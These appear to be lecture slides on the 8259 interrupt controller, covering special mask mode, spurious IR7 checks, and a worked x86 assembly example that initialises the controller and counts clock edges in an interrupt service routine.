So the SPECIAL MASK MODE, when a mask bit is set in OCW1, it inhibits further interrupts at that level and end enables from all other levels, that are not masked.

```
MOV AL, 00010000b ; mask IRQ4
OUT 21h, AL       ; OCW1 (IMR)
MOV AL, 01101000b ; special mask mode
OUT 20h, AL       ; OCW3

; by masking itself and selecting the special mask mode
interrupts on IRQ5 thru IRQ7 will now be accepted by the controller as well as IRQ0 thru IRQ3
```
IR7

- Controller does not remember interrupt requests that are not acknowledged.
- If an interrupt is requested but no IR bit is found during INTA that is IR is removed before acknowledged, then controller will default to an IR7.
- If the IR7 input is used for a legitimate device, the service routine should read the IS register and test to be sure that bit 7 is high.

    ISR7 PROC FAR
    MOV AL, 00001011b
    OUT 20h, AL
    IN AL, 20h
    TEST AL, 80h ; IS7 set
    JZ FALSE
    ; process interrupt here
    FALSE: IRET
    ISR7 ENDP
Example

Analyze the circuit and write an appropriate main program and a service routine that counts as a decimal number the positive edges of the clock signal applied to IR0.

Use type number 72.
Example

- A0 not used
- Two I/O addresses are FF00h and FF02h
- FF00h: ICW1,
- FF02h: ICW2, ICW3, ICW4, OCW1
- ICW1 = 00010011b = 13h
- type number 72 will be used
  - ICW2 = 01001000b = 48h
- ICW3 not needed
- nonbuffered and auto EOI
  - ICW4 = 03h
- mask all other interrupts but IR0
  - OCW1 = 11111110b = FEh
Main program and ISR

CLI

START:  MOV AX, 0
MOV ES, AX
MOV AX, 100h
MOV DS, AX
MOV AX, 0FF0h; stack
MOV SS, AX
MOV SP, 100h

; interrupt install
MOV AX, OFFSET SRV72
MOV [ES:120h], AX
MOV AX, SEG SRV72
MOV [ES:122h]. AX
Example contd

; initialization
MOV DX, 0FF00h
MOV AL, 13h
OUT DX, AL
MOV DX, 0FF02h
MOV AL, 48h
OUT DX, AL
MOV AL, 03h
OUT DX, AL
MOV AL, 0FEh
OUT DX, AL
STI

; wait for interrupt
HERE: JMP HERE

; service routine
SRV72: PUSH AX
MOV AL, [COUNT]
INC AL
DAA
MOV [COUNT], AL
POP AX
IRET